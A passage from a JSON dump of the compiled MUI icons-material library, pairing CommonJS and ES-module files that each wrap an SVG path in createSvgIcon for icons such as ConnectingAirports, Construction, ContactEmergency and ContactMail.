    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.4 17 1.3 4.4h-1.1L13 17h-3c-.55 0-1-.45-1-1s.45-1 1-1h3l2.6-4.4h1.1L15.4 15h2.85l.75-1h1l-.6 2 .6 2h-1l-.75-1zM5.75 7 5 6H4l.6 2-.6 2h1l.75-1H8.6l-1.3 4.4h1.1L11 9h3c.55 0 1-.45 1-1s-.45-1-1-1h-3L8.4 2.6H7.3L8.6 7z\"\n}), 'ConnectingAirportsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConnectingAirportsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.4 17 1.3 4.4h-1.1L13 17h-3c-.55 0-1-.45-1-1s.45-1 1-1h3l2.6-4.4h1.1L15.4 15h2.85l.75-1h1l-.6 2 .6 2h-1l-.75-1zM5.75 7 5 6H4l.6 2-.6 2h1l.75-1H8.6l-1.3 4.4h1.1L11 9h3c.55 0 1-.45 1-1s-.45-1-1-1h-3L8.4 2.6H7.3L8.6 7z\"\n}), 'ConnectingAirportsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConnectingAirportsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.4 17 1.3 4.4h-1.1L13 17h-3c-.55 0-1-.45-1-1s.45-1 1-1h3l2.6-4.4h1.1L15.4 15h2.85l.75-1h1l-.6 2 .6 2h-1l-.75-1zM5.75 7 5 6H4l.6 2-.6 2h1l.75-1H8.6l-1.3 4.4h1.1L11 9h3c.55 0 1-.45 1-1s-.45-1-1-1h-3L8.4 2.6H7.3L8.6 7z\"\n}), 'ConnectingAirportsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConnectingAirportsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.4 17 1.3 4.4h-1.1L13 17h-3c-.55 0-1-.45-1-1s.45-1 1-1h3l2.6-4.4h1.1L15.4 15h2.85l.75-1h1l-.6 2 .6 2h-1l-.75-1zM5.75 7 5 6H4l.6 2-.6 2h1l.75-1H8.6l-1.3 4.4h1.1L11 9h3c.55 0 1-.45 1-1s-.45-1-1-1h-3L8.4 2.6H7.3L8.6 7z\"\n}), 'ConnectingAirportsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Construction.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.7829 15.1718 2.1213-2.1213 5.9963 5.9963-2.1213 2.1213zM17.5 10c1.93 0 3.5-1.57 3.5-3.5 0-.58-.16-1.12-.41-1.6l-2.7 2.7-1.49-1.49 2.7-2.7c-.48-.25-1.02-.41-1.6-.41C15.57 3 14 4.57 14 6.5c0 .41.08.8.21 1.16l-1.85 1.85-1.78-1.78.71-.71-1.41-1.41L12 3.49c-1.17-1.17-3.07-1.17-4.24 0L4.22 7.03l1.41 1.41H2.81l-.71.71 3.54 3.54.71-.71V9.15l1.41 1.41.71-.71 1.78 1.78-7.41 7.41 2.12 2.12L16.34 9.79c.36.13.75.21 1.16.21\"\n}), 'Construction');"
  },
  {
    "path": "packages/mui-icons-material/lib/Construction.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.7829 15.1718 2.1213-2.1213 5.9963 5.9963-2.1213 2.1213zM17.5 10c1.93 0 3.5-1.57 3.5-3.5 0-.58-.16-1.12-.41-1.6l-2.7 2.7-1.49-1.49 2.7-2.7c-.48-.25-1.02-.41-1.6-.41C15.57 3 14 4.57 14 6.5c0 .41.08.8.21 1.16l-1.85 1.85-1.78-1.78.71-.71-1.41-1.41L12 3.49c-1.17-1.17-3.07-1.17-4.24 0L4.22 7.03l1.41 1.41H2.81l-.71.71 3.54 3.54.71-.71V9.15l1.41 1.41.71-.71 1.78 1.78-7.41 7.41 2.12 2.12L16.34 9.79c.36.13.75.21 1.16.21\"\n}), 'Construction');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConstructionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.7829 15.1718 2.1213-2.1213 5.9963 5.9963-2.1213 2.1213zM17.5 10c1.93 0 3.5-1.57 3.5-3.5 0-.58-.16-1.12-.41-1.6l-2.7 2.7-1.49-1.49 2.7-2.7c-.48-.25-1.02-.41-1.6-.41C15.57 3 14 4.57 14 6.5c0 .41.08.8.21 1.16l-1.85 1.85-1.78-1.78.71-.71-1.41-1.41L12 3.49c-1.17-1.17-3.07-1.17-4.24 0L4.22 7.03l1.41 1.41H2.81l-.71.71 3.54 3.54.71-.71V9.15l1.41 1.41.71-.71 1.78 1.78-7.41 7.41 2.12 2.12L16.34 9.79c.36.13.75.21 1.16.21\"\n}), 'ConstructionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConstructionOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.7829 15.1718 2.1213-2.1213 5.9963 5.9963-2.1213 2.1213zM17.5 10c1.93 0 3.5-1.57 3.5-3.5 0-.58-.16-1.12-.41-1.6l-2.7 2.7-1.49-1.49 2.7-2.7c-.48-.25-1.02-.41-1.6-.41C15.57 3 14 4.57 14 6.5c0 .41.08.8.21 1.16l-1.85 1.85-1.78-1.78.71-.71-1.41-1.41L12 3.49c-1.17-1.17-3.07-1.17-4.24 0L4.22 7.03l1.41 1.41H2.81l-.71.71 3.54 3.54.71-.71V9.15l1.41 1.41.71-.71 1.78 1.78-7.41 7.41 2.12 2.12L16.34 9.79c.36.13.75.21 1.16.21\"\n}), 'ConstructionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConstructionRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.99 17.99-4.94-4.94-2.12 2.12 4.94 4.94c.59.59 1.54.59 2.12 0s.58-1.54 0-2.12M17.65 10c1.93 0 3.5-1.57 3.5-3.5 0-.58-.16-1.12-.41-1.6l-2.7 2.7-1.49-1.49 2.7-2.7c-.48-.25-1.02-.41-1.6-.41-1.93 0-3.5 1.57-3.5 3.5 0 .41.08.8.21 1.16l-1.85 1.85-1.78-1.78c.39-.39.39-1.02 0-1.41l-.71-.71 2.12-2.12c-1.17-1.17-3.07-1.17-4.24 0L5.08 6.32c-.39.39-.39 1.02 0 1.41l.71.71H3.25c-.19 0-.37.07-.5.21-.28.28-.28.72 0 1l2.54 2.54c.28.28.72.28 1 0 .13-.13.21-.31.21-.5V9.15l.7.7c.39.39 1.02.39 1.41 0l1.78 1.78-6.35 6.35c-.59.59-.59 1.54 0 2.12.59.59 1.54.59 2.12 0L16.48 9.79c.37.13.76.21 1.17.21\"\n}), 'ConstructionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConstructionRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.99 17.99-4.94-4.94-2.12 2.12 4.94 4.94c.59.59 1.54.59 2.12 0s.58-1.54 0-2.12M17.65 10c1.93 0 3.5-1.57 3.5-3.5 0-.58-.16-1.12-.41-1.6l-2.7 2.7-1.49-1.49 2.7-2.7c-.48-.25-1.02-.41-1.6-.41-1.93 0-3.5 1.57-3.5 3.5 0 .41.08.8.21 1.16l-1.85 1.85-1.78-1.78c.39-.39.39-1.02 0-1.41l-.71-.71 2.12-2.12c-1.17-1.17-3.07-1.17-4.24 0L5.08 6.32c-.39.39-.39 1.02 0 1.41l.71.71H3.25c-.19 0-.37.07-.5.21-.28.28-.28.72 0 1l2.54 2.54c.28.28.72.28 1 0 .13-.13.21-.31.21-.5V9.15l.7.7c.39.39 1.02.39 1.41 0l1.78 1.78-6.35 6.35c-.59.59-.59 1.54 0 2.12.59.59 1.54.59 2.12 0L16.48 9.79c.37.13.76.21 1.17.21\"\n}), 'ConstructionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConstructionSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.7829 15.1718 2.1213-2.1213 5.9963 5.9963-2.1213 2.1213zM17.5 10c1.93 0 3.5-1.57 3.5-3.5 0-.58-.16-1.12-.41-1.6l-2.7 2.7-1.49-1.49 2.7-2.7c-.48-.25-1.02-.41-1.6-.41C15.57 3 14 4.57 14 6.5c0 .41.08.8.21 1.16l-1.85 1.85-1.78-1.78.71-.71-1.41-1.41L12 3.49c-1.17-1.17-3.07-1.17-4.24 0L4.22 7.03l1.41 1.41H2.81l-.71.71 3.54 3.54.71-.71V9.15l1.41 1.41.71-.71 1.78 1.78-7.41 7.41 2.12 2.12L16.34 9.79c.36.13.75.21 1.16.21\"\n}), 'ConstructionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConstructionSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.7829 15.1718 2.1213-2.1213 5.9963 5.9963-2.1213 2.1213zM17.5 10c1.93 0 3.5-1.57 3.5-3.5 0-.58-.16-1.12-.41-1.6l-2.7 2.7-1.49-1.49 2.7-2.7c-.48-.25-1.02-.41-1.6-.41C15.57 3 14 4.57 14 6.5c0 .41.08.8.21 1.16l-1.85 1.85-1.78-1.78.71-.71-1.41-1.41L12 3.49c-1.17-1.17-3.07-1.17-4.24 0L4.22 7.03l1.41 1.41H2.81l-.71.71 3.54 3.54.71-.71V9.15l1.41 1.41.71-.71 1.78 1.78-7.41 7.41 2.12 2.12L16.34 9.79c.36.13.75.21 1.16.21\"\n}), 'ConstructionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConstructionTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m13.7829 15.1718 2.1213-2.1213 5.9963 5.9963-2.1213 2.1213zM17.5 10c1.93 0 3.5-1.57 3.5-3.5 0-.58-.16-1.12-.41-1.6l-2.7 2.7-1.49-1.49 2.7-2.7c-.48-.25-1.02-.41-1.6-.41C15.57 3 14 4.57 14 6.5c0 .41.08.8.21 1.16l-1.85 1.85-1.78-1.78.71-.71-1.41-1.41L12 3.49c-1.17-1.17-3.07-1.17-4.24 0L4.22 7.03l1.41 1.41H2.81l-.71.71 3.54 3.54.71-.71V9.15l1.41 1.41.71-.71 1.78 1.78-7.41 7.41 2.12 2.12L16.34 9.79c.36.13.75.21 1.16.21\"\n}), 'ConstructionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ConstructionTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m13.7829 15.1718 2.1213-2.1213 5.9963 5.9963-2.1213 2.1213zM17.5 10c1.93 0 3.5-1.57 3.5-3.5 0-.58-.16-1.12-.41-1.6l-2.7 2.7-1.49-1.49 2.7-2.7c-.48-.25-1.02-.41-1.6-.41C15.57 3 14 4.57 14 6.5c0 .41.08.8.21 1.16l-1.85 1.85-1.78-1.78.71-.71-1.41-1.41L12 3.49c-1.17-1.17-3.07-1.17-4.24 0L4.22 7.03l1.41 1.41H2.81l-.71.71 3.54 3.54.71-.71V9.15l1.41 1.41.71-.71 1.78 1.78-7.41 7.41 2.12 2.12L16.34 9.79c.36.13.75.21 1.16.21\"\n}), 'ConstructionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactEmergency.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M9 8c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M2.08 19c1.38-2.39 3.96-4 6.92-4s5.54 1.61 6.92 4zm18.89-9.15-.75 1.3-1.47-.85V12h-1.5v-1.7l-1.47.85-.75-1.3L16.5 9l-1.47-.85.75-1.3 1.47.85V6h1.5v1.7l1.47-.85.75 1.3L19.5 9z\"\n}), 'ContactEmergency');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactEmergency.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M9 8c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M2.08 19c1.38-2.39 3.96-4 6.92-4s5.54 1.61 6.92 4zm18.89-9.15-.75 1.3-1.47-.85V12h-1.5v-1.7l-1.47.85-.75-1.3L16.5 9l-1.47-.85.75-1.3 1.47.85V6h1.5v1.7l1.47-.85.75 1.3L19.5 9z\"\n}), 'ContactEmergency');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactEmergencyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 14c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.54 0 1 .46 1 1s-.46 1-1 1-1-.46-1-1 .46-1 1-1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M4.54 19c1.1-1.22 2.69-2 4.46-2s3.36.78 4.46 2zM22 19h-6.08c-1.38-2.39-3.96-4-6.92-4s-5.54 1.61-6.92 4H2V5h20z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.78 11.15 1.47-.85V12h1.5v-1.7l1.47.85.75-1.3L19.5 9l1.47-.85-.75-1.3-1.47.85V6h-1.5v1.7l-1.47-.85-.75 1.3L16.5 9l-1.47.85z\"\n}, \"2\")], 'ContactEmergencyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactEmergencyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 14c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.54 0 1 .46 1 1s-.46 1-1 1-1-.46-1-1 .46-1 1-1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M4.54 19c1.1-1.22 2.69-2 4.46-2s3.36.78 4.46 2zM22 19h-6.08c-1.38-2.39-3.96-4-6.92-4s-5.54 1.61-6.92 4H2V5h20z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.78 11.15 1.47-.85V12h1.5v-1.7l1.47.85.75-1.3L19.5 9l1.47-.85-.75-1.3-1.47.85V6h-1.5v1.7l-1.47-.85-.75 1.3L16.5 9l-1.47.85z\"\n}, \"2\")], 'ContactEmergencyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactEmergencyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M9 8c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M2.08 19c1.38-2.39 3.96-4 6.92-4s5.54 1.61 6.92 4zm18.52-8.5c-.21.36-.67.48-1.02.27l-.82-.48v.95c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-.94l-.82.48c-.36.21-.82.08-1.02-.27-.21-.36-.08-.82.27-1.02L16.5 9l-.82-.48c-.36-.21-.48-.67-.27-1.02.21-.36.67-.48 1.02-.27l.82.48v-.96c0-.41.34-.75.75-.75s.75.34.75.75v.95l.82-.48c.36-.21.82-.08 1.02.27.21.36.08.82-.27 1.02L19.5 9l.82.48c.36.2.49.66.28 1.02\"\n}), 'ContactEmergencyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactEmergencyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M9 8c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M2.08 19c1.38-2.39 3.96-4 6.92-4s5.54 1.61 6.92 4zm18.52-8.5c-.21.36-.67.48-1.02.27l-.82-.48v.95c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-.94l-.82.48c-.36.21-.82.08-1.02-.27-.21-.36-.08-.82.27-1.02L16.5 9l-.82-.48c-.36-.21-.48-.67-.27-1.02.21-.36.67-.48 1.02-.27l.82.48v-.96c0-.41.34-.75.75-.75s.75.34.75.75v.95l.82-.48c.36-.21.82-.08 1.02.27.21.36.08.82-.27 1.02L19.5 9l.82.48c.36.2.49.66.28 1.02\"\n}), 'ContactEmergencyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactEmergencySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M23.99 3H0v18h23.99zM9 8c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M2.08 19c1.38-2.39 3.96-4 6.92-4s5.54 1.61 6.92 4zm18.89-9.15-.75 1.3-1.47-.85V12h-1.5v-1.7l-1.47.85-.75-1.3L16.5 9l-1.47-.85.75-1.3 1.47.85V6h1.5v1.7l1.47-.85.75 1.3L19.5 9z\"\n}), 'ContactEmergencySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactEmergencySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M23.99 3H0v18h23.99zM9 8c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3M2.08 19c1.38-2.39 3.96-4 6.92-4s5.54 1.61 6.92 4zm18.89-9.15-.75 1.3-1.47-.85V12h-1.5v-1.7l-1.47.85-.75-1.3L16.5 9l-1.47-.85.75-1.3 1.47.85V6h1.5v1.7l1.47-.85.75 1.3L19.5 9z\"\n}), 'ContactEmergencySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactEmergencyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 19h.08c1.38-2.39 3.96-4 6.92-4s5.54 1.61 6.92 4H22V5H2zM15.03 8.15l.75-1.3 1.47.85V6h1.5v1.7l1.47-.85.75 1.3L19.5 9l1.47.85-.75 1.3-1.47-.85V12h-1.5v-1.7l-1.47.85-.75-1.3L16.5 9zM9 8c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 14c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.54 0 1 .46 1 1s-.46 1-1 1-1-.46-1-1 .46-1 1-1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M4.54 19c1.1-1.22 2.69-2 4.46-2s3.36.78 4.46 2zM22 19h-6.08c-1.38-2.39-3.96-4-6.92-4s-5.54 1.61-6.92 4H2V5h20z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m15.78 11.15 1.47-.85V12h1.5v-1.7l1.47.85.75-1.3L19.5 9l1.47-.85-.75-1.3-1.47.85V6h-1.5v1.7l-1.47-.85-.75 1.3L16.5 9l-1.47.85z\"\n}, \"3\")], 'ContactEmergencyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactEmergencyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 19h.08c1.38-2.39 3.96-4 6.92-4s5.54 1.61 6.92 4H22V5H2zM15.03 8.15l.75-1.3 1.47.85V6h1.5v1.7l1.47-.85.75 1.3L19.5 9l1.47.85-.75 1.3-1.47-.85V12h-1.5v-1.7l-1.47.85-.75-1.3L16.5 9zM9 8c1.65 0 3 1.35 3 3s-1.35 3-3 3-3-1.35-3-3 1.35-3 3-3\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 14c1.65 0 3-1.35 3-3s-1.35-3-3-3-3 1.35-3 3 1.35 3 3 3m0-4c.54 0 1 .46 1 1s-.46 1-1 1-1-.46-1-1 .46-1 1-1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M4.54 19c1.1-1.22 2.69-2 4.46-2s3.36.78 4.46 2zM22 19h-6.08c-1.38-2.39-3.96-4-6.92-4s-5.54 1.61-6.92 4H2V5h20z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m15.78 11.15 1.47-.85V12h1.5v-1.7l1.47.85.75-1.3L19.5 9l1.47-.85-.75-1.3-1.47.85V6h-1.5v1.7l-1.47-.85-.75 1.3L16.5 9l-1.47.85z\"\n}, \"3\")], 'ContactEmergencyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactMail.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 8V7l-3 2-3-2v1l3 2zm1-5H2C.9 3 0 3.9 0 5v14c0 1.1.9 2 2 2h20c1.1 0 1.99-.9 1.99-2L24 5c0-1.1-.9-2-2-2M8 6c1.66 0 3 1.34 3 3s-1.34 3-3 3-3-1.34-3-3 1.34-3 3-3m6 12H2v-1c0-2 4-3.1 6-3.1s6 1.1 6 3.1zm8-6h-8V6h8z\"\n}), 'ContactMail');"
  },
  {
    "path": "packages/mui-icons-material/lib/ContactMail.mjs",
